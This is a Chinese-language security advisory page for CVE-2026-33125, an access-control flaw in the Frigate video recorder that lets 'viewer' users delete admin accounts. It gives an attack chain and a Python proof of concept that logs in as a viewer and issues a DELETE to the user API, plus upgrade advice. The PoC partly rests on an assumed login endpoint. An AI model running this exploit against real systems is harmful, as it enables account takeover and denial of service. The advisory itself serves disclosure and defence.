IPBUF安全漏洞报告
English
CVE-2026-33125 CVSS 7.1 高危

CVE-2026-33125 Frigate权限提升漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33125
漏洞类型
权限提升
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frigate

相关标签

权限提升访问控制失效FrigateNVRCVE-2026-33125

漏洞概述

Frigate是一款具有实时本地对象检测功能的网络视频录像机(NVR)。在0.16.2及以下版本中,系统存在严重的访问控制缺陷。拥有“viewer”角色的低权限用户可以利用该漏洞删除管理员及其他低权限用户账户。攻击者利用此漏洞可导致服务拒绝(DoS),并严重影响数据的完整性。该问题已在0.16.3版本中得到修复。

技术细节

该漏洞的根本原因是Frigate在用户管理接口处缺乏严格的权限校验机制。在正常逻辑中,只有管理员权限才能执行删除用户的操作。但在受影响版本中,后端在接收到删除用户的请求时,仅验证了请求者的身份认证状态,而未进一步检查请求者是否具备“admin”角色。攻击者首先注册或获取一个“viewer”角色的低权限账户,然后通过构造特定的HTTP请求(通常是DELETE请求)指向用户管理API,并在参数中指定目标管理员的用户ID。由于权限校验缺失,服务器会执行删除操作,导致管理员账户被移除,从而使系统陷入不可控状态或拒绝服务状态。

攻击链分析

STEP 1
侦察与获取凭证
攻击者识别目标Frigate系统,并获取或注册一个拥有“viewer”角色的低权限账户。
STEP 2
身份验证
攻击者使用获取的低权限账户登录系统,获取有效的会话令牌或Cookie。
STEP 3
漏洞利用
攻击者利用会话令牌,向用户管理API发送针对管理员账户ID的删除请求(如HTTP DELETE)。
STEP 4
权限维持与影响
由于系统未校验删除权限,管理员账户被成功移除,导致系统失去管理能力,攻击者实现拒绝服务或数据完整性破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "http://192.168.1.100:5000" viewer_user = "viewer" viewer_pass = "password" admin_user_id = "1" # The ID of the admin account to delete def exploit(): session = requests.Session() # Step 1: Authenticate as a low-privileged viewer user print("[*] Attempting to login as viewer...") login_data = { "username": viewer_user, "password": viewer_pass } try: # Assuming standard login endpoint login_resp = session.post(f"{target_host}/api/token", data=login_data) if login_resp.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # Step 2: Exploit Broken Access Control to delete Admin print(f"[*] Attempting to delete user ID {admin_user_id}...") # The vulnerability allows the viewer role to access the deletion endpoint delete_url = f"{target_host}/api/users/{admin_user_id}" delete_resp = session.delete(delete_url) if delete_resp.status_code in [200, 204]: print(f"[+] Successfully deleted user ID {admin_user_id}. Admin account removed.") else: print(f"[-] Exploit failed. Server responded with: {delete_resp.status_code}") print(delete_resp.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()

影响范围

Frigate <= 0.16.2

防御指南

临时缓解措施
建议管理员立即检查当前Frigate的版本,如果版本低于0.16.3,应尽快进行官方补丁升级。如果无法立即升级,应严格限制或禁用“viewer”角色的创建与使用,直到完成修复,并密切监控系统用户列表的变动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表